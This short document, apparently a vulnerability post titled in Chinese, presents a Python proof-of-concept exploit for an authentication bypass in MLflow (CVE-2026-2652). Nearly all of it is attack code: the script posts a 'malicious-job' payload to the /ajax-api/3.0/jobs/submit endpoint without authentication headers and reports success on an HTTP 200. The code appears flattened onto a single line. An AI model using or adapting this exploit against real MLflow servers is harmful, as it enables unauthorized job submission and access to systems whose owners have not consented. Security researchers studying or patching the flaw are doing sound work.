CVE-2026-2652 MLflow认证绕过漏洞

import requests # Target configuration target_host = "http://vulnerable-mlflow-server:5000" # Vulnerable endpoint that bypasses authentication # Reference: /ajax-api/3.0/jobs/* or /v1/traces endpoint = "/ajax-api/3.0/jobs/submit" url = f"{target_host}{endpoint}" # Payload to create a malicious job payload = { "job_name": "PoC_Exploit_Job", "entry_point_name": "main", "project_id": "1", "spec": { "metadata": { "name": "malicious-job" }, "mlflow_version": "3.9.0" } } try: # Send request without authentication headers response = requests.post(url, json=payload, timeout=10) if response.status_code == 200: print("[+] Exploit Successful! Authentication bypassed.") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")